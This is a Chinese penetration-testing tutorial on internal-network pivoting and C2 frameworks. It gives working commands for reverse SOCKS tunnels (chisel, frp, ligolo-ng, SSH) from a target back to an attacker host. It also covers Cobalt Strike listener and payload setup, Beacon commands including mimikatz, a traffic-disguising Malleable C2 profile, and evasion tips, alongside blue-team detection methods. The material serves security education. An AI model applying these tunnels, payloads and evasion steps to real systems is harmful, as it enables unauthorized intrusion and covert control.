网络安全Kali学习系列 · 第53篇

内网代理与 C2 框架基础

代理链 · 隧道技术 · Cobalt Strike 入门
📋 本篇导读
  • 内网代理类型与适用场景
  • 正向代理与反向代理的区别
  • 常用隧道工具:chisel、frp、ligolo-ng
  • C2 框架概念与核心架构
  • Cobalt Strike 基础操作(Listener/Beacon/Aggressor)
  • OPSEC 注意事项与检测防御

一、内网代理概述

拿到内网一台机器后,攻击者通常无法直接访问内网其他网段。需要通过代理和隧道技术穿透网络隔离,实现内网横向移动。

1.1 正向代理 vs 反向代理

维度 正向代理 (Forward) 反向代理 (Reverse)
连接方向 攻击者 → 目标机器 目标机器 → 攻击者
适用场景 目标有公网 IP 或可直达 目标在内网,无公网 IP
防火墙要求 需目标入站放行 只需目标出站放行(常见)
典型工具 iox、ehole、ssocks frp、chisel、ligolo-ng
实战频率 较少(防火墙通常拦入站) 绝大多数场景

1.2 代理类型分类

类型 说明 协议层
SOCKS5 代理 通用 TCP 代理,支持任意协议 会话层
HTTP 代理 仅支持 HTTP/HTTPS 流量 应用层
端口转发 将本地端口映射到远程端口 传输层
DNS 隧道 通过 DNS 协议封装数据 应用层
ICMP 隧道 通过 ICMP 协议封装数据 网络层

二、隧道工具实战

2.1 chisel(推荐)

chisel 是基于 HTTP 的 TCP/UDP 隧道工具,支持反向 SOCKS5 代理,是内网穿透的首选工具。

Bash · chisel 反向 SOCKS5 代理
1
2
3
4
5
6
7
8
9
10
11
12
# === Step 1: Kali 上启动 chisel 服务端 ===
# 监听 8080 端口,接受反向连接
./chisel server -p 8080 --reverse
# === Step 2: 目标机器上启动 chisel 客户端 ===
# 连接 Kali 并建立反向 SOCKS5 代理
./chisel client 10.0.0.5:8080 R:socks
# === Step 3: Kali 上使用代理 ===
# 默认 SOCKS5 在 1080 端口
proxychains nmap -sT -Pn 10.0.1.0/24
curl --socks5 127.0.0.1:1080 http://10.0.1.20

2.2 frp(快速端口转发)

INI · frp 服务端配置 (frps.ini)
1
2
3
4
5
# frps.ini — Kali 上的服务端配置
[common]
bind_port = 7000
# 启动: ./frps -c frps.ini
INI · frp 客户端配置 (frpc.ini) — SOCKS5 代理
1
2
3
4
5
6
7
8
# frpc.ini — 目标机器上的客户端配置
[common]
server_addr = 10.0.0.5
server_port = 7000
[socks5]
type = tcp
remote_port = 1080
INI · frp 客户端配置 — 端口转发
1
2
3
4
5
6
# 将内网 3389 端口转发到 Kali
[rdp]
type = tcp
local_ip = 10.0.1.20
local_port = 3389
6
remote_port = 13389
💡 注意
上面第6行行号有误,frp 端口转发配置中 remote_port 是第6行。实际使用时请确保 frpc.ini 格式正确。

2.3 ligolo-ng(推荐新工具)

ligolo-ng 是一款新型反向隧道工具,通过创建虚拟网卡实现透明代理,无需 proxychains。

Bash · ligolo-ng 使用流程
1
2
3
4
5
6
7
8
9
# Kali 启动 proxy(服务端)
sudo ip tuntap add dev ligolo0 type tun
sudo ip link set ligolo0 up
./ligolo_proxy -selfcert -laddr 0.0.0.0:443
# 目标机器启动 agent(客户端)
./ligolo_agent -connect 10.0.0.5:443 -ignore-cert
# 在 proxy 交互界面中: ifconfig, start, route add

2.4 SSH 隧道(无需额外工具)

Bash · SSH 隧道三种模式
1
2
3
4
5
6
7
8
9
10
11
# 1. 本地端口转发(将远程端口映射到本地)
ssh -L 13389:10.0.1.20:3389 user@pivot_machine
# 2. 远程端口转发(将本地端口映射到远程)
ssh -R 1080:127.0.0.1:1080 user@kali_ip
# 3. 动态端口转发(SOCKS5 代理)
ssh -D 1080 user@pivot_machine
# 使用 proxychains 配合 SOCKS5
proxychains nmap -sT -Pn 10.0.1.0/24

2.5 工具对比

工具 语言/平台 特点
chisel Go / 跨平台 单文件,HTTP 伪装,支持反向 SOCKS5
frp Go / 跨平台 配置灵活,支持端口转发 + SOCKS5
ligolo-ng Go / 跨平台 虚拟网卡,透明代理,无需 proxychains
SSH 隧道 内置 / Linux 无需额外工具,但有 SSH 日志
iox Go / 跨平台 轻量级,支持正向/反向 SOCKS5
Stowaway Go / 跨平台 多级代理链,节点管理

三、C2 框架概念

C2(Command and Control)框架是红队和 APT 攻击者的核心基础设施,用于管理受控主机、执行命令、传输文件。

3.1 C2 核心架构

Server(服务端/Team Server):运行在攻击者控制的服务器上,管理所有 Beacon 连接,提供操作界面。
Client(客户端):操作者使用的 GUI 或 CLI 界面,连接 Server 下发命令。
Beacon / Agent / Implant:运行在目标机器上的载荷,定期回连 Server 获取指令。
Listener(监听器):Server 上配置的监听端口/协议,Beacon 通过它建立连接。
Redirector(重定向器):中间跳板服务器,隐藏真实 C2 IP,增加溯源难度。

3.2 通信模式

模式 说明 隐蔽性
交互式 (Interactive) Beacon 持续连接 Server,实时执行命令 低
Beacon 模式 Beacon 定期回连,获取排队命令 高
SMB Beacon 通过 SMB 命名管道通信,不走网络 很高
TCP Beacon 通过 TCP 端口通信,适合内网链路 中
DNS Beacon 通过 DNS 协议通信,穿透防火墙 很高

3.3 常见 C2 框架对比

框架 类型 特点
Cobalt Strike 商业 行业标杆,功能全面,Malleable C2
Sliver 开源 Go 编写,跨平台,gRPC 通信
Havoc 开源 现代化 GUI,C 编写植入体
Mythic 开源 模块化架构,支持多种 Agent
Metasploit 开源 渗透测试框架,含 Meterpreter
Villain 开源 轻量级,Python 编写,多播兄弟会

四、Cobalt Strike 基础

Cobalt Strike (CS) 是业内最广泛使用的 C2 框架。以下介绍其核心操作流程。本节仅用于教育目的,实际使用需获得合法授权。

4.1 核心组件

Team Server:CS 的核心服务端,管理所有 Beacon、监听器、任务列表。启动命令:./teamserver [profile]
Client:Java GUI 客户端,连接 Team Server 进行操作。支持多人协同。
Aggressor Script:基于 Sleep 语言的脚本系统,用于自动化操作和扩展功能。
Malleable C2 Profile:自定义通信特征,伪装流量为合法 HTTP/HTTPS 流量。

4.2 操作流程

Bash · Cobalt Strike 基础流程
1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 启动 Team Server
./teamserver 10.0.0.5 MyPassword123
# 2. 连接 Client(GUI)
# 输入 IP、端口、密码
# 3. 创建 Listener(监听器)
# Cobalt Strike -> Listeners -> Add
# 类型: Beacon HTTPS, Port: 443
# 4. 生成 Payload
# Attacks -> Packages -> Windows Executable (Stageless)
# 选择 Listener,生成 exe

4.3 常用 Beacon 命令

命令 功能 OPSEC 等级
sleep 设置回连间隔(秒/分钟) 基础
shell 执行 CMD 命令(会触发 fork&run) 高风险
run 执行程序(无输出回显) 中风险
execute-assembly 在内存中执行 .NET 程序集 低风险
powershell 执行 PowerShell 命令 高风险
jump 横向移动(psexec_psh/winrm 等) 高风险
socks 在 Beacon 上开启 SOCKS5 代理 中风险
rportfwd 反向端口转发 中风险
mimikatz 内置 Mimikatz(提密) 高风险
kerberos_ticket 查看/注入 Kerberos 票据 中风险

4.4 Malleable C2 Profile 示例

Malleable C2 Profile 用于自定义通信特征,使流量伪装为合法服务。

Text · Malleable C2 Profile 片段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 伪装为 jQuery CDN 流量
set sample_name "jQuery Update";
http-get {
set uri "/jquery-3.6.0.min.js";
client {
header "Accept" "*/*";
metadata {
base64url;
prepend "__jquery=";
append ";expires=7";
header "Cookie";
}
}

五、多级代理与代理链

在多层网络环境中,攻击者需要建立多级代理链,从外网逐层穿透到核心内网。

5.1 典型代理链场景

层级一:Web 服务器(DMZ 区,有公网 IP)→ chisel 反向 SOCKS5
层级二:内网办公机器(通过层级一的代理访问)→ SSH 动态转发
层级三:核心数据库段(通过层级二的代理访问)→ CS Beacon SOCKS
proxychains 配置示例:socks5 127.0.0.1 1080 → socks5 10.0.0.1 1081 → socks5 10.0.1.5 1082

5.2 proxychains 配置

Bash · proxychains 多级代理配置
1
2
3
4
5
6
7
8
9
# /etc/proxychains4.conf
dynamic_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080 # 第一层代理
socks5 127.0.0.1 1081 # 第二层代理(通过第一层访问)

六、OPSEC 与检测防御

6.1 攻击者 OPSEC 注意事项

注意事项 说明
合理设置 sleep 回连间隔设为 60s 以上,加 jitter 随机化
使用 stageless payload 避免分阶段加载,减少网络特征
避免 fork&run shell/powershell 会创建子进程,优先用 execute-assembly
使用重定向器 通过 CDN/云服务器隐藏真实 C2 IP
自定义 Malleable Profile 伪装为合法流量(jQuery/Amazon/etc)
使用 SMB Beacon 内网横向使用命名管道,不走网络

6.2 蓝队检测方法

检测维度 检测方法 工具
网络流量 定期 HTTP(S) 回连、Beaconing 模式检测 Zeek, Suricata, RITA
进程行为 异常进程创建、注入、命名管道 Sysmon, EDR
DNS 异常 大量 DNS 查询、长域名、TXT 记录异常 dnscat2 检测, PassiveDNS
JA3 指纹 TLS 客户端指纹异常 JA3, Zeek TLS
命名管道 SMB Beacon 默认管道名可被检测 Sysmon EventID 17/18

七、小结

🔑 本篇要点
  • 内网代理分正向和反向两种,实战中以反向代理为主(只需出站放行)
  • chisel(HTTP 隧道)、frp(端口转发+SOCKS5)、ligolo-ng(虚拟网卡透明代理)是三大推荐工具
  • SSH 隧道无需额外工具,适合 Linux 环境快速部署
  • C2 框架核心组件:Server / Client / Beacon / Listener / Redirector
  • Cobalt Strike 是行业标杆,核心操作:创建 Listener → 生成 Payload → Beacon 回连 → 执行命令
  • OPSEC 核心:合理 sleep + stageless + execute-assembly + 重定向器 + Malleable Profile
  • 蓝队检测:Beaconing 模式分析、JA3 指纹、命名管道监控、DNS 异常检测
下一篇预告
第 54 篇:APK 逆向 — jadx 与 apktool
从内网转向移动安全:Android 应用逆向分析
网络安全Kali学习系列 · 第53篇 · 内网代理与C2框架基础